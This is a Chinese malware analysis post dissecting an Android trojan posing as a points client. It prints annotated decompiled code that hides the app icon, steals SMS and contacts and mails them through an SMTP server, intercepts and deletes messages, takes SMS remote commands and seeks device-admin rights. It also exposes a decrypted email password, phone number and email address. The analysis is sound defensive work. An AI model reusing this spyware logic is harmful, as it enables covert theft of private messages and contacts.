以前发表于http://www.52pojie.cn/thread-524338-1-1.html
样本安装名称:积分客户端
MD5
:84B45E2A7040FAC5B1D489C1AAD1B7C5
SHA1
:DC7B060D3B7844EEEA090E219C2DE4A5AD1EBF37
作者:
Youngs
博客:
http://youngs-rsr.blog.163.com
http://blog.csdn.net/youngs0xff
样本运行都在安卓模拟器中进行,在分析过程中,此样本的解密部分用模拟器+eclipase+signapk来实现获取解密信息
(暂不做文档说明,后面有时间在专门发一篇)
一、使用apktool工具进行反编译操作:
由于此样本不存在加固,这里直接使用ShakaApktool来进行反编译(由于自己的apktool版本比较低,无法正常进行反编译,这里则借助于
Androidkiller中的ShakaApktool来完成):
直接在其ShakaApktool.jar目录下输入java -jar ShakaApktool.jar d -d xxx.apk -o Youngs执行即可
在Youngs目录下就有我们想要的smail文件及AndroidManifest.xml等文件
打开AndroidManifest.xml文件后,我们发现其包名为"com.rcerc.cew”,主Activity为MainActivity
[XML]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?
xml
version
=
"1.0"
encoding
=
"utf-8"
standalone
=
"no"
?>
<
manifest
xmlns:android
=
"http://schemas.android.com/apk/res/android"
android:installLocation
=
"internalOnly"
package
=
"com.rcerc.cew"
>
<
uses-permission
android:name
=
"android.permission.INTERNET"
/>
<
uses-permission
android:name
=
"android.permission.READ_SMS"
/>
<
uses-permission
android:name
=
"android.permission.WRITE_SMS"
/>
<
uses-permission
android:name
=
"android.permission.SEND_SMS"
/>
<
uses-permission
android:name
=
"android.permission.RECEIVE_SMS"
/>
<
uses-permission
android:name
=
"android.permission.RECEIVE_WAP_PUSH"
/>
<
uses-permission
android:name
=
"android.permission.RECEIVE_BOOT_COMPLETED"
/>
<
uses-permission
android:name
=
"android.permission.RECEIVE_USER_PRESENT"
/>
<
uses-permission
android:name
=
"android.permission.READ_PHONE_STATE"
/>
<
uses-permission
android:name
=
"android.permission.MODIFY_AUDIO_SETTINGS"
/>
<
uses-permission
android:name
=
"android.permission.READ_CONTACTS"
/>
<
uses-permission
android:name
=
"android.permission.GET_TASKS"
/>
<
uses-permission
android:name
=
"android.permission.ACCESS_NETWORK_STATE"
/>
<
uses-permission
android:name
=
"android.permission.WRITE_SETTINGS"
/>
<
uses-permission
android:name
=
"android.permission.VIBRATE"
/>
<
uses-permission
android:name
=
"android.permission.WRITE_EXTERNAL_STORAGE"
/>
<
uses-permission
android:name
=
"android.permission.ACCESS_WIFI_STATE"
/>
<
application
android:allowBackup
=
"true"
android:icon
=
"@drawable/app_logo"
android:label
=
"@string/app_name"
android:name
=
"com.phone.stop.db.PhoneApplication"
android:theme
=
"@android:style/Theme.Black.NoTitleBar.Fullscreen"
>
<
activity
android:excludeFromRecents
=
"false"
android:label
=
"@string/app_name"
android:name
=
"com.phone.stop.activity.MainActivity"
>
<
intent-filter
>
<
action
android:name
=
"android.intent.action.MAIN"
/>
<
category
android:name
=
"android.intent.category.LAUNCHER"
/>
</
intent-filter
>
</
activity
>
|
其相关权限如下:
android.permission.INTERNET,访问网络连接,可能产生GPRS流量
android.permission.READ_SMS,读取短信内容
android.permission.WRITE_SMS,允许编写短信
android.permission.SEND_SMS,发送短信
android.permission.RECEIVE_SMS,接收短信
android.permission.RECEIVE_WAP_PUSH,接收WAP-PUSH信息
android.permission.RECEIVE_BOOT_COMPLETED,允许程序开机自动运行
android.permission.READ_PHONE_STATE,访问电话状态
android.permission.MODIFY_AUDIO_SETTINGS,修改声音设置信息
android.permission.READ_CONTACTS,允许应用访问联系人通讯录信息
android.permission.GET_TASKS,允许程序获取当前或最近运行的应用
android.permission.ACCESS_NETWORK_STATE,允许获取网络信息状态,如当前的网络连接是否有效
android.permission.WRITE_SETTINGS,允许读写系统设置项
android.permission.VIBRATE,允许振动
android.permission.WRITE_EXTERNAL_STORAGE,允许程序写入外部存储,如SD卡上写文件
android.permission.ACCESS_WIFI_STATE,获取当前WiFi接入的状态以及WLAN热点的信息
二、分析classes.dex文件:
1、 获取classes.dex文件:
直接通过压缩包解压APK文件即可:
2、 经过前面的准备工作,由上面的AndroidManifest.xml文件可知,其主Activity为MainActivity
判断是否为主Activity,直接看下面是否存在"android.intent.action.MAIN"即可。
[C++]
纯文本查看
复制代码
1
2
3
4
5
6
7
|
<application android:allowBackup=
"true"
android:icon=
"@drawable/app_logo"
android:label=
"@string/app_name"
android:name=
"com.phone.stop.db.PhoneApplication"
android:theme=
"@android:style/Theme.Black.NoTitleBar.Fullscreen"
>
<activity android:excludeFromRecents=
"false"
android:label=
"@string/app_name"
android:name=
"com.phone.stop.activity.MainActivity"
>
<intent-filter>
<action android:name=
"android.intent.action.MAIN"
/>
<category android:name=
"android.intent.category.LAUNCHER"
/>
</intent-filter>
</activity>
|
3、 分析MainActivity:
现在就直接打开jeb对classes.dex进行相关分析:
然后我们进入到MainActivity中,看看OnCreate方法(由于代码加了混淆,后面则会有些方法都是自己重命名):
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
|
protected
void
onCreate(Bundle arg5) {
super
.onCreate(arg5);
this
.setContentView(
2130903041
);
this
.getPackageManager().setComponentEnabledSetting(
this
.getComponentName(),
2
,
1
);
// 隐藏图标
i.set_i_want_xxoo(((Context)
this
));
// i_want_xxoo-->解密获取手机号码
i.set_send_email_account(((Context)
this
));
// send_email_account-->解密获取发送邮箱帐号
i.set_receive_email_account(((Context)
this
));
// receive_email_account--》解密获取接收邮箱帐号
i.set_send_email_pwd(((Context)
this
));
// send_email_pwd--》解密获取邮箱密码
i.init_end_time(((Context)
this
));
// app_end_time---》失活时间
if
(!a.a(((Context)
this
)).i()) {
k.send_MSG(
"软件安装完毕\n识别码:"
+
this
.getSystemService(
"phone"
).getDeviceId() +
"\n"
+ j.a(),
// 发送手机识别码、型号、品牌、系统版本到收信号码
4
, ((Context)
this
));
a.a(((Context)
this
)).e(
true
);
// 设置has_send_phone_info为true
}
k.a(((Context)
this
));
// 删除收件箱短信
if
(a.a(((Context)
this
)).j()) {
d.a(((Context)
this
));
// email_message_contacts_switch---》true 发送联系人及短信信息给邮箱
}
this
.a();
// 获取设备管理权限
}
|
主要实现功能:
隐藏图标
解密获取相关的邮箱帐号、密码、收信手机号等信息
发送手机识别码、型号、品牌、系统版本给收信号码
删除收件箱短信
发送联系人及短信信息给邮箱
获取设备管理权限
1) 隐藏图标:
[Java]
纯文本查看
复制代码
1
2
|
this
.setContentView(
2130903041
);
this
.getPackageManager().setComponentEnabledSetting(
this
.getComponentName(),
2
,
1
);
// 隐藏图标
|
2) 解密获取相关的邮箱帐号、密码、收信手机号等信息:
[Java]
纯文本查看
复制代码
1
2
3
4
5
|
i.set_i_want_xxoo(((Context)
this
));
// i_want_xxoo-->解密获取手机号码
i.set_send_email_account(((Context)
this
));
// send_email_account-->解密获取发送邮箱帐号
i.set_receive_email_account(((Context)
this
));
// receive_email_account--》解密获取接收邮箱帐号
i.set_send_email_pwd(((Context)
this
));
// send_email_pwd--》解密获取邮箱密码
i.init_end_time(((Context)
this
));
// app_end_time---》失活时间
|
这里则以set_i_want_xxoo为例做为解密对象进行分析:
首先进行到com.phone.stop.c下的类i,我们找到对应的set_i_want_xxoo方法:
[Java]
纯文本查看
复制代码
1
2
3
4
5
6
|
public
static
void
set_i_want_xxoo(Context arg2) {
// set_i_want_xxoo
if
(!a.a(arg2).d()) {
a.a(arg2).b(g.a(a.a(arg2).c()));
// 解密获取i_want_xxoo对应的手机号码
a.a(arg2).b(
true
);
// 设置have_init_phone_number的值
}
}
|
在方法set_i_want_xxoo中,调用com.phone.stop.db下的类a中的d方法,看到其先进行判断have_init_phone_number对应的值是否为flase(即表示手机号码是否初始化),如果未初始化,则进行解密获取手机号码。其判断代码如下:
[Java]
纯文本查看
复制代码
1
2
3
|
public
boolean
d() {
return
this
.b.getBoolean(
"have_init_phone_number"
,
false
);
}
|
由于是第一次执行程序,即未初始化值,那么就会进入到下面的解密环节(即调用a.a(arg2).b(g.a(a.a(arg2).c()))):
首先是调用a.a(arg2).c()方法(即com.phone.stop.db下的类a中的c方法)来获取加密的手机号码信息:
[Java]
纯文本查看
复制代码
1
2
3
|
public
String c() {
return
this
.b.getString(
"i_want_xxoo"
,
"f192419edc4cd50a7bdcb5230119d8e4"
);
}
|
然后调用解密方法g.a(a.a(arg2).c())(即com.phone.stop.c下的类g中的a方法),由于后面类e是DES解密算法,这里就不做过多的介绍,相关资料可以在网上获取:
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
|
public
static
String a(String arg2) {
String v0_1;
// 得到解密后的值
try
{
v0_1 =
new
e(
"staker"
).b(arg2);
// 得到解密后的值
}
catch
(Exception v0) {
v0.printStackTrace();
v0_1 =
""
;
}
return
v0_1;
}
|
得到了相关的解密值后,则会设置i_want_xxoo对应的值为解密得到的手机号(经过调试或者log打印可知其解密号码为:13268343253),即调用com.phone.stop.db下的类a中的b方法来进行设置。
[Java]
纯文本查看
复制代码
1
2
3
4
5
|
public
void
b(String arg3) {
SharedPreferences$Editor v0 =
this
.b.edit();
v0.putString(
"i_want_xxoo"
, arg3);
v0.commit();
}
|
最后则设置have_init_phone_number对应的值为true,即调用com.phone.stop.db下的类a中的b方法来进行设置。
[Java]
纯文本查看
复制代码
1
2
3
4
5
|
public
void
b(
boolean
arg3) {
SharedPreferences$Editor v0 =
this
.b.edit();
v0.putBoolean(
"have_init_phone_number"
, arg3);
v0.commit();
}
|
经过相关的DES解密操作,最后我们获取到:
密码:jkohpxabmdoioawl
手机号码:13268343253
失活时间:2015-09-08 09:08:22
3) 发送手机识别码、型号、品牌、系统版本给收信号码:
[Java]
纯文本查看
复制代码
1
2
3
4
5
|
if
(!a.a(((Context)
this
)).i()) {
k.send_MSG(
"软件安装完毕\n识别码:"
+
this
.getSystemService(
"phone"
).getDeviceId() +
"\n"
+ j.a(),
// 发送手机识别码、型号、品牌、系统版本到收信号码
4
, ((Context)
this
));
a.a(((Context)
this
)).e(
true
);
// 设置has_send_phone_info为true
}
|
首先判断has_send_phone_info是否为false,由于刚启动,其初始值为false,那么就会给手机号13268343253发送手机识别码、型号、品牌、系统版本信息,然后设置has_send_phone_info是true。
4) 删除收件箱短信:
直接调用com.phone.stop.f下的类k中的a方法来实现删除收件箱短信:
[Java]
纯文本查看
复制代码
1
|
k.a(((Context)
this
));
// 删除收件箱短信
|
删除收件箱短信的方法a:
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
public
static
void
a(Context arg8) {
// 删除收件箱短信
String[] v2 =
null
;
// has_delete_message
if
(!a.a(arg8).h()) {
ContentResolver v0 = arg8.getContentResolver();
Cursor v1 = v0.query(com.phone.stop.a.a.b, v2, ((String)v2), v2,
"date"
);
// b--->content://sms/inbox
try
{
if
(!a.a(arg8).h() && (v1.moveToNext())) {
int
v2_1 = v1.getInt(v1.getColumnIndex(
"_id"
));
int
v3 = v0.delete(Uri.parse(
"content://sms/"
+ v2_1),
null
,
null
);
int
v0_2 = v0.delete(com.phone.stop.a.a.a,
"_id="
+ v2_1,
null
);
if
(v3 !=
1
&& v0_2 !=
1
) {
goto
label_39;
}
a.a(arg8).d(
true
);
// has_delete_message为true
}
label_39:
v1.close();
}
catch
(Exception v0_1) {
}
}
}
|
5) 发送联系人及短信信息给邮箱:
[Java]
纯文本查看
复制代码
1
2
3
|
if
(a.a(((Context)
this
)).j()) {
d.a(((Context)
this
));
// email_message_contacts_switch---》true 发送联系人及短信信息给邮箱
}
|
调用com.phone.stop.c下的类d中的a方法来实现发送相关信息到邮箱,其主要是通过调用类e中的方法来实现:
[Java]
纯文本查看
复制代码
1
2
3
|
public
static
void
a(Context arg1) {
a.a(
new
e(arg1));
// 发送联系人及短信信息给邮箱
}
|
在com.phone.stop.c下的类e中的a方法中分析实现发送短信信息和联系人信息:
[Java]
纯文本查看
复制代码
1
2
3
4
5
|
public
Object a() {
d.b(
this
.a);
// 发送短信信息给邮箱
d.c(
this
.a);
// 发送联系人信息给邮箱
return
null
;
}
|
发送短信消息在com.phone.stop.c下的类d中的b方法中实现:
[Java]
纯文本查看
复制代码
1
2
3
|
static
void
b(Context arg0) {
d.d(arg0);
}
|
调用的d方法主要实现代码如下:
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
private
static
void
d(Context arg9) {
// 发送短信信息给邮箱
try
{
com.phone.stop.db.a v1 = com.phone.stop.db.a.a(arg9);
if
(!v1.m()) {
ArrayList v2 = h.a(arg9);
// 获取短信列表
if
(v2.size() <=
0
) {
return
;
}
String v3 = arg9.getSystemService(
"phone"
).getDeviceId();
// 手机设备信息
StringBuffer v4 =
new
StringBuffer(
"------------------------------<br>"
);
Iterator v2_1 = v2.iterator();
label_14:
if
(v2_1.hasNext()) {
Object v0_1 = v2_1.next();
v4.append(
"<br><br><font color=red>----------------------"
+ ((com.phone.stop.d.b)
v0_1).b +
" "
+ ((com.phone.stop.d.b)v0_1).c +
"-------------</font><br>"
);
Iterator v5 = ((com.phone.stop.d.b)v0_1).d.iterator();
while
(
true
) {
if
(!v5.hasNext()) {
goto
label_14;
}
v0_1 = v5.next();
if
(((com.phone.stop.d.a)v0_1).e ==
1
) {
v4.append(((com.phone.stop.d.a)v0_1).d).append(
" "
).append(((com.phone.stop.d.a)
v0_1).c).append(
"<br>"
);
continue
;
}
v4.append(((com.phone.stop.d.a)v0_1).d).append(
" "
).append(
"<font color=blue>"
)
.append(((com.phone.stop.d.a)v0_1).c).append(
"</font>"
).append(
"<br>"
);
}
}
String v0_2 = v1.n();
// send_email_account
String v2_2 = v1.r();
// send_email_pwd
String v5_1 = v1.p();
// receive_email_account
b v6 =
new
b();
v6.a(
"smtp.vip.163.com"
,
"25"
);
v6.a(v0_2,
"DX列表("
+ v3 +
")"
, v4.toString());
v6.a(
new
String[]{v5_1});
v6.b(
"smtp.vip.163.com"
, v0_2, v2_2);
// 发送短信信息给邮箱
v1.g(
true
);
}
return
;
}
catch
(Exception v0) {
return
;
}
}
|
发送联系人信息给邮箱,其主要是通过调用com.phone.stop.c下的类d中的c方法中实现(即调用方法e实现):
[Java]
纯文本查看
复制代码
1
2
3
|
static
void
c(Context arg0) {
d.e(arg0);
}
|
发送联系人给邮箱的实现方法:
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
private
static
void
e(Context arg9) {
// 发送联系人给邮箱
try
{
com.phone.stop.db.a v1 = com.phone.stop.db.a.a(arg9);
if
(!v1.l()) {
ArrayList v2 = com.phone.stop.c.a.a(arg9);
// 获取联系人信息
if
(v2.size() <=
0
) {
return
;
}
String v3 = arg9.getSystemService(
"phone"
).getDeviceId();
StringBuffer v4 =
new
StringBuffer();
Iterator v2_1 = v2.iterator();
while
(v2_1.hasNext()) {
Object v0_1 = v2_1.next();
v4.append(
"<font color=blue>"
).append(((c)v0_1).b).append(
"</font> "
).append(((
c)v0_1).c).append(
"<br>"
);
}
String v0_2 = v1.n();
String v2_2 = v1.r();
String v5 = v1.p();
b v6 =
new
b();
v6.a(
"smtp.vip.163.com"
,
"25"
);
v6.a(v0_2,
"TX("
+ v3 +
")"
, v4.toString());
v6.a(
new
String[]{v5});
v6.b(
"smtp.vip.163.com"
, v0_2, v2_2);
v1.f(
true
);
}
return
;
}
catch
(Exception v0) {
g.a(
"aaaa"
, v0);
return
;
}
}
|
6) 获取设备管理权限:
获取设备管理权限:
[Java]
纯文本查看
复制代码
1
|
this
.a();
// 获取设备管理权限
|
调用MainActivity中的方法a来实现获取设备管理权限:
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
|
public
void
a() {
try
{
Object v0_1 =
this
.getSystemService(
"device_policy"
);
// 获取设备管理权限
ComponentName v1 =
new
ComponentName(((Context)
this
), MyDeviceAdminReceiver.
class
);
if
(((DevicePolicyManager)v0_1).isAdminActive(v1)) {
return
;
}
Intent v0_2 =
new
Intent(
"android.app.action.ADD_DEVICE_ADMIN"
);
// 启动设备管理
v0_2.putExtra(
"android.app.extra.DEVICE_ADMIN"
, ((Parcelable)v1));
// 权限列表
v0_2.putExtra(
"android.app.extra.ADD_EXPLANATION"
,
"提高权限获取保护"
);
// 描述
this
.startActivityForResult(v0_2,
0
);
// 打开新的activity,请求码为0
this
.b.sendEmptyMessageDelayed(
1
,
2000
);
}
catch
(Exception v0) {
v0.printStackTrace();
}
}
|
发送相关的用户是否激活的信息给收信手机:13268343253
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
|
protected
void
onActivityResult(
int
requestcode,
int
arg6, Intent arg7) {
int
v2 =
4
;
super
.onActivityResult(requestcode, arg6, arg7);
if
(requestcode ==
0
) {
if
(arg6 == -
1
) {
Log.i(
"onActivityResult"
,
"Enable it"
);
a.a(((Context)
this
)).a(
true
);
// 设置have_app_jihuo为true
k.send_MSG(String.valueOf(j.a()) +
"\n用户选择了激活"
, v2, ((Context)
this
));
// 发送信息给收信手机
}
else
{
k.send_MSG(String.valueOf(j.a()) +
"\n用户没有进行激活"
, v2, ((Context)
this
));
// 发送没激活信息给收信手机
Log.i(
"onActivityResult"
,
"Cancle it"
);
}
}
this
.startService(
new
Intent(((Context)
this
), BootService.
class
));
this
.b.sendEmptyMessageDelayed(
0
,
3000
);
}
|
4、 分析SMSReceiver:
1) 查看SMSReceiver的相关权限:
[XML]
纯文本查看
复制代码
1
2
3
4
5
|
<
receiver
android:name
=
"com.phone.stop.receiver.SMSReceiver"
android:permission
=
"android.permission.BROADCAST_SMS"
>
<
intent-filter
android:priority
=
"2147483647"
>
<
action
android:name
=
"android.provider.Telephony.SMS_RECEIVED"
/>
</
intent-filter
>
</
receiver
>
|
2) 进入SMSReceiver中找到onReceive()方法:
方法a实现:发送手机中的短信信息给收信箱:
zhouliqin@vip.163.com和收信手机号:13268343253,删除指定短信并解析收件箱中短信的指令信息:
[Java]
纯文本查看
复制代码
1
2
3
4
5
|
public
void
onReceive(Context arg2, Intent arg3) {
g.a(
" 广播---------------------------------------"
);
this
.a = arg2;
this
.a(arg3);
// 给收信邮箱发送信息
}
|
3) 在SMSReceiver中a方法如下:
获取短信信息,屏蔽广播,发送相关信息给邮箱及收信手机
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
private
void
a(Intent arg11) {
// 给收信邮箱发送信息
String v1;
String v0_2;
Bundle v0 = arg11.getExtras();
StringBuffer v6 =
new
StringBuffer();
String v3 =
""
;
String v2 =
""
;
if
(v0 !=
null
) {
Object v0_1 = v0.get(
"pdus"
);
// 获得短信数据
SmsMessage[] v7 =
new
SmsMessage[v0_1.length];
int
v8 = v0_1.length;
int
v5;
for
(v5 =
0
; v5 < v8; ++v5) {
v7[v5] = SmsMessage.createFromPdu(v0_1[v5]);
}
v5 = v7.length;
v0_2 = v2;
v1 = v3;
int
v2_1 =
0
;
while
(v2_1 < v5) {
SmsMessage v0_3 = v7[v2_1];
v3 = v0_3.getDisplayOriginatingAddress();
// 返回信息来源地址
String v4 = v0_3.getMessageBody();
// 短信信息
v1 =
new
StringBuilder(String.valueOf(v0_3.getTimestampMillis())).toString();
v6.append(v4);
++v2_1;
v0_2 = v1;
v1 = v3;
}
}
else
{
v0_2 = v2;
v1 = v3;
}
this
.abortBroadcast();
// 屏蔽广播
v2 = v6.toString();
// 短信内容
this
.a(v1, v2, v0_2);
// 发送短信信息给指定手机号
d.d_send_mail(
this
.a, String.valueOf(v2) +
"<br>"
+ v1 +
"<br><br><br>"
+ j.a() +
"-----------------广播<"
);
}
|
4) 发送短信信息给指定手机号(13268343253)和指定邮箱,解析收件箱的短信指令:
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
private
void
a(String arg3, String arg4, String arg5) {
// 发送短信信息给指定手机号
String v0 = a.a(
this
.a).c();
// 获取i_want_xxoo的值
if
(!v0.contains(
"683"
)) {
return
;
}
if
(
this
.a(arg3, arg4)) {
//解析是否存在收信邮箱的短信指令
return
;
}
switch
(a.a(
this
.a).g()) {
case
1
: {
goto
label_14;
// app_intercept_type类型
}
case
2
: {
goto
label_18;
// app_intercept_type类型
}
case
3
: {
goto
label_16;
// app_intercept_type类型
}
}
return
;
label_18:
this
.c(v0, arg4, arg5);
// 判断V0是否存在数据库中存储的number,给邮箱发送短信信息
return
;
label_14:
this
.b(arg3, arg4, arg5);
// 发送短信信息arg4给指定手机
return
;
label_16:
this
.clearAbortBroadcast();
// 取消截获广播
}
|
5) 解析是否存在收信邮箱的短信指令:
短信指令相关:
相关的实现代码如下:
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
private
boolean
a(String arg8, String arg9) {
// 解析是否存在收信邮箱的短信指令
int
v6 =
4
;
int
v5 =
2
;
boolean
v0 =
true
;
// 判断arg8总是否含有i_want_xxoo的值
if
(arg8.contains(a.a(
this
.a).c())) {
g.a(
"------------------ 是主人----------------------"
);
this
.a(arg9);
// 删除短信中arg9信息
String[] v2 = arg9.split(
" "
);
if
(v2[
0
].equals(
"LJ"
)) {
if
(v2[
1
].equals(
"ALL"
)) {
a.a(
this
.a).a(
1
);
// 设置app_intercept_type的值为1
return
v0;
}
if
(v2[
1
].equals(
"SOME"
)) {
a.a(
this
.a).a(v5);
// 设置app_intercept_type的值为2
return
v0;
}
if
(!v2[
1
].equals(
"NO"
)) {
return
v0;
}
a.a(
this
.a).a(
3
);
// 在“NO”时,设置app_intercept_type为3
return
v0;
}
if
(v2[
0
].equals(
"ADD"
)) {
c v1 =
new
c();
v1.c = v2[
1
];
b.a(v1);
// 把信息写入数据库中
return
v0;
}
if
(v2[
0
].equals(
"DEL"
)) {
b.a(v2[
1
]);
// 从数据库中删除v2[1]
return
v0;
}
if
(v2[
0
].equals(
"CLEAR"
)) {
if
(v2[
1
].equals(
"ALL"
)) {
b.a();
// 删除数据库中所有的信息
return
v0;
}
v2[
1
].equals(
"MESSAGE"
);
return
v0;
}
if
(v2[
0
].equals(
"LOOK"
)) {
if
(v2[
1
].equals(
"TIME"
)) {
k.send_MSG(
"到期时间:"
+ a.a(
this
.a).e(), v6,
this
.a);
// 发送到期时间给收信邮箱
return
v0;
}
if
(!v2[
1
].equals(
"PHONE"
)) {
return
v0;
}
k.send_MSG(j.a(), v6,
this
.a);
// “PHONE”发送版本手机版本型号
return
v0;
}
if
(!v2[
0
].equals(
"SEND"
)) {
return
v0;
}
try
{
k.a(v2[
1
], v2[
2
],
this
.a);
// 发送信息v2[2]给v2[1]
}
catch
(Exception v1_1) {
}
}
else
{
v0 =
false
;
}
return
v0;
}
|
6) 判断是否存在数据库中存储的number,给邮箱发送短信信息:
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
|
private
void
c(String arg4, String arg5, String arg6) {
// 判断arg4中是否存在数据库中存储的number,给邮箱发送短信信息
Iterator v1 = b.b().iterator();
// 获取数据库列表信息,并判断arg4中是否存在number
do
{
if
(v1.hasNext()) {
if
(!arg4.contains(v1.next().c)) {
continue
;
}
break
;
}
return
;
}
while
(
true
);
this
.a(arg5);
// 设置手机相关模式并删除短信中的arg5信息
k.send_MSG(String.valueOf(arg5) +
"\n来自:"
+ arg4,
4
,
this
.a);
// 给指定手机号发送短信信息
}
|
7) 发送短信信息给指定手机号(13268343253),并设置相关模式:
[Java]
纯文本查看
复制代码
1
2
3
4
|
private
void
b(String arg4, String arg5, String arg6) {
this
.a(arg5);
// 设置手机相关模式并删除短信中的arg5信息
k.send_MSG(String.valueOf(arg5) +
"\n来自:"
+ arg4,
4
,
this
.a);
// 给指定手机号发送短信消息
}
|
设置手机相关模式及删除相关的短信:
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
|
public
void
a(String arg5) {
// 设置手机相关模式并删除短信中的arg5信息
if
(String.valueOf(Build$VERSION.RELEASE).compareTo(
"4.3"
) >=
0
) {
if
(!
this
.c) {
this
.c =
true
;
com.phone.stop.f.d.b(
this
.a,
0
);
// 设置手机不振动
com.phone.stop.f.d.c(
this
.a,
0
);
// 在合适时振动的振动设置
com.phone.stop.f.d.a(
this
.a,
0
);
// 设置声音模式
com.phone.stop.f.d.a(
this
.a,
true
);
// 静音音频流
}
new
h().a(
this
.a, arg5);
// 删除短信中的arg5值
}
}
|
5、 分析BootReceiver:
判断是否存在BootService服务,不存在则开始服务:
[Java]
纯文本查看
复制代码
1
2
3
4
5
6
7
|
public
void
onReceive(Context arg3, Intent arg4) {
// 判断是否存在BootService服务
if
(!BootReceiver.a(arg3,
"com.phone.stop.service.BootService"
)) {
Intent v0 =
new
Intent(arg3, BootService.
class
);
v0.addFlags(
268435456
);
arg3.startService(v0);
// 开启BootService服务
}
}
|
判断是否存在相关服务:
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
|
public
static
boolean
a(Context arg5, String arg6) {
// 判断是否有arg6的服务
boolean
v0;
List v3 = arg5.getSystemService(
"activity"
).getRunningServices(
40
);
// 获取正在运行的40个服务
int
v4 = v3.size();
int
v2 =
0
;
while
(
true
) {
if
(v2 >= v4) {
return
false
;
}
else
if
(v3.get(v2).service.getClassName().equals(arg6)) {
v0 =
true
;
}
else
{
++v2;
continue
;
}
return
v0;
}
return
false
;
}
|
6、 分析BootService:
判断失活时间是否存在到期,发送安装完成信息给手机,删除相关短信,注册监听器,监听短信的变化。
[Java]
纯文本查看
复制代码
01
02
03
04
05
06
07
08
09
10
11
|
public
void
onCreate() {
super
.onCreate();
if
(g.a()) {
com.phone.stop.db.a.a(((Context)
this
)).a(
3
);
// 如果app_end_time的时间未失效,设置configurations_data为0
}
else
{
g.a(((Context)
this
));
// 发送软件安装完毕,删除短信
this
.b();
// 注册监听短信接收广播
this
.a();
// 为content://sms的数据改变注册监听器
}
}
|
为content://sms的数据改变注册监听器 :
[Java]
纯文本查看
复制代码
1
2
3
4
|
private
void
a() {
this
.getContentResolver().registerContentObserver(a.a,
true
,
new
com.phone.stop.b.a(((Context)
// 为content://sms的数据改变注册监听器
this
),
new
Handler()));
}
|
监听短信接收广播:
[Java]
纯文本查看
复制代码
1
2
3
4
5
6
7
|
private
void
b() {
IntentFilter v0 =
new
IntentFilter();
v0.setPriority(
2147483647
);
v0.addAction(
"android.provider.Telephony.SMS_RECEIVED"
);
// 接收短信权限
v0.addAction(
"android.provider.Telephony.SMS_RECEIVED_2"
);
this
.registerReceiver(
new
SMSReceiver(), v0,
"android.permission.BROADCAST_SMS"
,
null
);
// 当收到短信时触发一个广播
}
|
三、总结
此小马是一款窃取隐私、远程控制的木马。该木马的主要行为是私自获取短信内容、联系人信息上传到指定邮箱,获取手机设备信息及相关的状态发送到指定号码;获得的短信指令对手机进行相关操作,具有远程控制;私自删除短信内容,监控短信的接收;启动后激活设备管理器,隐藏图标,防止自身被卸载,具有流氓行为。由于样本来源涉及工作相关的问题,就不放出来了(有资源的可以去通过
MD5
去下载)。